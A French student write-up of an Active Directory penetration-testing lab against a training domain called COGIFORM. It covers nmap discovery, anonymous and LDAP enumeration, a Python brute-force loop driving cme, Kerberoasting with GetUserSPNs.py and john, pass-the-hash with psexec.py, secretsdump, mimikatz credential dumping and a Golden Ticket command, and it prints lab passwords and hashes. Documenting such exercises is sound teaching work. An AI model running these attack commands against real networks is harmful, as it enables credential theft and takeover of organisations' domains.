/* Lab */

Pentest - Sécurité Active Directory

Feb 9, 2023 · 20 min read

Accès au réseau

J’ai utilisé nano pour modifier openvpn-eleve.conf pour qu’il pointe vers les identifiants qui m’ont été attribué: Elève 19.

Après la modification:

$ cat openvpn-eleve.conf
# cat openvpn-eleve.conf 👍
# -------------------------------------------------------------------
client
dev tun
port 1193
proto udp

remote 35.180.158.152 1193
nobind
auth-nocache

ca ./ca.crt
cert ./certs_2023/2023_eleve19.crt
key ./keys_2023/2023_eleve19.key

remote-cert-tls server

user nobody
comp-lzo
persist-key
persist-tun

verb 3
# -------------------------------------------------------------------

Puis on lance openvpn et on remplit le change mot de passe par le mot de passe attribué dans le fichier password_keys.txt. Tout se passe bien et le client OpenVPN exécute:

Puis on teste la connectivité au réseau du laboratoire en lançant:

$ nc -nvz 192.168.30.60 3389
# nc -nvz 192.168.30.60 3389 👍
# -------------------------------------------------------------------
Connection to 192.168.30.60 3389 port [tcp/*] succeeded!
# -------------------------------------------------------------------

Explication de la commande:

Ainsi, lorsque nous exécutons cette commande, netcat envoie un paquet TCP mais sans envoyer de données. Si l’hôte distant écoute sur ce port, il répondra par un paquet d’accusé de réception, et netcat affichera un message “réussi”. Si le port est fermé ou n’est pas à l’écoute, un message d’échec s’affiche.

I - Découverte du réseau

Les machines du laboratoire ont les adresses IPs suivantes : - 192.168.30.60 - 192.168.30.61 - 192.168.30.62 - 192.168.30.64 - 192.168.30.70

  1. Déterminez laquelle est le contrôleur de domaine.
  2. Trouvez le nom de domaine associé.
  3. Sur les machines restantes, combien sont des machines Windows ? Des machines Linux ? Parmi les machines Windows combien y-a-t’il de serveurs ? De postes clients ?

Addresse du contrôleur du domaine

On regarde le contenu de /etc/resolv.conf en espèrant trouver un de ces addresses IP:

$ cat /etc/resolv.conf
# cat /etc/resolv.conf 👍
# -------------------------------------------------------------------
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateResolvConf = false
nameserver 172.24.160.1
# -------------------------------------------------------------------

Les contrôleurs de domaine ont souvent le rôle de KDC. Un scan réseau du port TCP 88 révélera les contrôleurs de domaine.

$ nmap -p 88 192.168.30.0/24
# nmap -p 88 192.168.30.0/24 👍
# -------------------------------------------------------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 15:10 CEST
Nmap scan report for 192.168.30.60
Host is up (0.023s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
...
# -------------------------------------------------------------------

Ainsi l’addresse IP de notre contrôleur de domaine est: 192.168.30.60

Nom de domaine associé

Une requête Netbios à un contrôleur de domaine grâce à nmblookup par exemple permet d’obtenir le nom du domaine:

$ nmblookup -A 192.168.30.60
# nmblookup -A 192.168.30.60 👍
# -------------------------------------------------------------------
Looking up status of 192.168.30.60
        DC01            <00> -         B <ACTIVE>
        COGIFORM        <00> - <GROUP> B <ACTIVE>
        COGIFORM        <1c> - <GROUP> B <ACTIVE>
        DC01            <20> -         B <ACTIVE>
        COGIFORM        <1b> -         B <ACTIVE>

        MAC Address = 06-1C-46-58-B4-76
# -------------------------------------------------------------------

Le nom de domaine associé semble être COGIFORM.

Sur les machines restantes, combien sont des machines Windows ? Des machines Linux ? Parmi les machines Windows combien y-a-t’il de serveurs ? De postes clients ?

Pour identifier les machines windows, on peut lancer un scan nmap sur le réseau et identifier les machine où le port 445 est ouvert:

On remarque que seulement la machine 192.168.30.70 n’est pas Windows. (la machine 192.168.30.227 n’est pas mentionnée)

La tâche suivante est de compter le nombre de serveurs et postes client parmi les machines Windows.

On utilise nmap avec l’option -O pour la détection d’OS.

On trouve 2 machines avec un os microsoft_server_... et 1 sans.

Toutes les machines Windows sont des serveurs.

II - Enumeration

  1. Trouvez la liste des utilisateurs du domaine.
  2. Vérifiez la validité des accès trouvés par énumération anonyme à l’aide > de l’outil de votre choix.
  3. À l’aide de l’outil ldapsearch, récupérez la liste des machines du > domaine, la liste des administrateurs de domaine, et la liste des comptes utilisateurs du domaine.

Liste des utilisateurs du domaine

On essaye la solution la plus facile:

Et ça ne marche pas. (peut-être parce que les bind anonymes sont désactivés?)

On utilise ainsi la technique enum4linux présenté dans le cours:

On trouve un flag (mot de passe de tom.moreno) et la liste d’utilisateurs.

Vérifiez du flag trouvé par énumération anonyme à l’aide de l’outil de votre choix

rpcclient pour diversifier:

Récupération de la liste des machines du domaine, la liste des administrateurs de domaine, et la liste des comptes utilisateurs du domaine

On peut maintenant faire des ldapsearch grâce au identifiants trouvés.

On obtiendra ainsi les 2 champs cn, dn pour ne pas faire de screenshots très longues.

Pour les ordinateurs:

$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "DC=cogiform,DC=local" -s sub "(objectclass=computer)" dn

Pour les utilisateurs:

$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "CN=Users,DC=cogiform,DC=local" dn

Pour les administrateurs

$ ldapsearch -H ldap://192.168.30.60 -D "COGIFORM\tom.moreno" -w "V3ry_Str0ng_P@ssword" -x -b "CN=Users,DC=cogiform,DC=local" -s sub "(memberof=CN=Administrators,CN=Builtin,DC=cogiform,DC=local)" dn

III – Compromission de comptes additionnels

  1. À l’aide des recommandations faites dans le cours, lancez une attaque bruteforce contre le compte jean.lojer. Devez vous prendre des précautions particulières ? Pourquoi ? Ajoutez vos réponses, les screenshots le justifiant et le screenshot de l’attaque réussie au rapport.
  2. Maintenant que vous avez deux comptes de domaine valides, quel mécanisme d’authentification êtes vous susceptibles d’attaquer ? Récupérez le secret d’un utilisateur supplémentaire et cassez son mot de passe. La wordlist rockyou, présente sous le chemin /usr/share/wordlists sur votre machine Kali peut être utilisée. Ajoutez le screenshot du secret de l’utilisateur, et celui de son mot de passe, une fois cassé, au rapport

En continuant à suivre les conseils du cours, on va tenter de monter les exports NFS et voir s’il y a quelque chose d’intéressant.

Malhereusement, ceci ne marche pas.

Maintenant, on essayera une attaque brute sur le compte utilisateur jean.lojer. Cependant, il est probable que les attaques de ce type sont détectés et bloqués. Heureseument, ce n’est pas le cas. On voit que la politique de mot de passe (enum4linux) que Account Lockout Threshold est mis à None.

J’ai installé le packet wordlists qui crée un fichier /usr/share/wordlists/rockyou.txt. J’ai filtré pour seulement avoir les lignes avec un nombre de charactère supérieur à 7 avec un grep -oE "^.{7,}$" /usr/share/wordlists/rockyou.txt > /usr/share/wordlists/rockyou7+.txt.

On utilisera ce fichier avec cme pour lancer la bruteforce.

Cette méthode prend du temps et pourrait ne pas réussir. On va essayer une attaque plus visée en suivant les conseils du cours:

from os import system

...

YEARS = range(2000, 2025)
WORDLIST = concat("",  [
  transform(
    sequence([
      words(["cogiform"]),
      # wordlist('/usr/share/wordlists/firstnames.txt'),
      # wordlist('/usr/share/wordlists/lastnames.txt'),
      wordlist('/usr/share/wordlists/cities.txt'),
      # wordlist('/usr/share/wordlists/cars.txt')
    ]),
    lambda word: [word.lower(), word.upper(), word.title()]
  ),
  YEARS,
])

SERVER = "192.168.30.60"
USER = "jean.lojer"

for wordbatch in batch(WORDLIST, 10):
  wordlist = " ".join(wordbatch)
  system(f"cme smb {SERVER} -u {USER} -p {wordlist}")

On retrouve le mot de passe cette fois ci, c’est Cogiform2020.

Récuperation d’un troisième compte

Maintenant qu’on a deux comptes de domaine valides (mais vraiment besoin que d’un seul pour ça), pourra attaquer le mecanisme d’authentification de Kerberos.

Ceci consiste à énumérer les comptes possédant des SPNs pour récupérer des tickets TGS correspondants à ces services. Les tickets Kerberos TGS sont chiffrés avec le hash du mot de passe du compte exécutant le service ciblé. On va tenter de les déchiffrer pour retrouver le mot de passe du compte en question.

Récupération des SPNs et du ticket TSG

$ GetUserSPNs.py -request -dc-ip 192.168.30.60 -outputfile ticket.txt "COGIFORM.local/jean.lojer:Cogiform2020"
#  👍
# -------------------------------------------------------------------
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName             Name         MemberOf  PasswordLastSet             LastLogon                   Delegation
-------------------------------  -----------  --------  --------------------------  --------------------------  ----------
DC01/sql_service.cogiform.local  sql_service            2020-08-03 16:00:53.662789  2023-03-27 23:36:47.041682
# -------------------------------------------------------------------

$ cat ticket.txt
# cat ticket.txt 👍
# -------------------------------------------------------------------
cat ticket.txt
$krb5tgs$23$*sql_service$COGIFORM.LOCAL$COGIFORM.local/sql_service*$8b2ab2ef74da6c69f9118a021fcad31b$46c40c4ee20bfd67...
# -------------------------------------------------------------------

On a obtenu le ticket TSG de DC01/sql_service.cogiform.local.

Cassage du mot de passe

Des logiciels de cassage tels que john ou hashcat permettent de casser les TGS et d’obtenir les mots de passe des comptes de services. Ceci se fait hors ligne sur la machine et on pourra utiliser des listes de mot plus grandes. Comme conseillé par le TP on utilisera /usr/share/wordlists/rockyou7+.txt. La commande à exécuter est:

$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou7+.txt ticket.txt

Le mot de passe trouvé est: Birmingham01.

On teste une authentification:

👍😎🎩

IV - Compromission des servers

On se connecte au compte sql_service qu’on vient d’obtenir.

$ smbclient.py COGIFORM/sql_service:[email protected]
# -------------------------------------------------------------------
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# who
host: \\192.168.30.227, user: sql_service, active:    18, idle:     1
# info
Version Major: 6
Version Minor: 3
Server Name: SRV02
Server Comment:
Server UserPath: c:\
Simultaneous Users: 16777216
# use ADMIN$
# ls
...
-rw-rw-rw-     357376  Thu Jul 30 03:47:09 2020 cmd.exe
...
# -------------------------------------------------------------------

l’utilisateur sql_service a les privilège d’administrateur sur la machine avec l’addresse IP 192.168.30.61.

On utilise psexec.py pour obtenir un shell sur la machine.

Notes sur psexec.py

L’implémentation d’Impacket crée un service distant en téléchargeant un exécutable avec un nom aléatoire dans le share ADMIN$, en enregistrant un service via RPC et le SCM, puis en communiquant par le biais d’un named pipe.

Récuperation des secrets de la machine

x Notes sur secretsdump.py

Ce script exécute diverses techniques pour extraire les secrets de la machine distante sans exécuter d’agent. Les techniques incluent la lecture des secrets SAM et LSA à partir des registres, l’extraction des hachages NTLM, des informations d’identification en clair et des clés kerberos, et l’extraction de NTDS.dit. La commande suivante tente d’extraire tous les secrets de la machine cible à l’aide des techniques mentionnées précédemment.

Compromission de l’autre Windows server

On passe les hashes sur le compte Administrator à Pass the Hash. Il y a plusieurs façons de passer le hash:

$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:4ac966f57adc346517aa327b1e3b2fc7 [email protected]
# ❌
#-------------------------------------------------------------------
#Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
#-------------------------------------------------------------------

Cette commande échoue sur toutes les machines. Essayons maintenant avec le compte local_admin.

👍😎🎩

V - Devenir Administrateur de domaine

Récupération du mot de passe du compte Administrator ~ administrateur de domaine.

Continuant dans le powershell de la dernière partie, on lance mimikatz.exe.

La commande suivante accorde au compte courant les autorisations de déboguer les processus (SeDebugPrivilege):

privilege::debug

Lister des sessions utilisateur actives:

sekurlsa::logonPasswords full

Le mot de passe est: SecurePassword1 sur la machine 192.168.30.62.

On trouve aussi dans les logs:

Le mot de passe est: m9oPs4AVXYrYMdTWgeYX sur la machine 192.168.30.62.

On va tenter de nous connecter en tant qu’Administrator à 192.168.30.60 avec ce mot de passe.

Connectez vous au contrôleur de domaine pour finir le chemin de compromission

Bingo 👍😎🎩

VI - Compromission le reste du réseau

Serveur linux

  1. Sachant que sur le serveur Linux, un utilisateur valide est ‘debian’, gagnez un accès au serveur.

Dans ce cas on tente le mot de passe debian.

👍😎🎩

  1. Sur le serveur, retrouvez le mot de passe du compte de domaine ‘sql_service’. Envoyez les screenshots des fichiers que vous avez utilisé pour retrouver ce mot de passe.

On lance un grep et on espère trouver une référence à sql_service

$ grep -ir "sql_service" / 2> /dev/null

Attaque Golden Ticket

En lançant

$ secretsdump.py Administrator:[email protected]

On voit apparaître le nt hash de krbtgt: ec7517bf979daa3006983a6ab6660c4c.

Puis on utilise mimikatz pour générer un ticket-granting ticket (TGT).

kerberos::golden /domain:WRK01.COGIFORM.LOCAL /sid:S-1-5-21-431173448-2220119629-3285569898 /krbtgt:ec7517bf979daa3006983a6ab6660c4c /admin:sus /id:500 /ptt

Puis on injecte ce dernier dans la session actuelle avec

kerberos::ptt ticket.kirbi

Client Windows 7

  1. À l’aide de vos accès au domaine, énumérez les ressources mises à disposition par le client Windows 7

  1. Trouvez le mot de passe d’un compte autorisé à accéder au système.

On fouille le système de fichiers, on trouve certains fichier qui contiennet à la fois un nom d’utilisateur et un mdp.

Par exemple:

Parmi ceux, rien n’a pas marché malheureusement.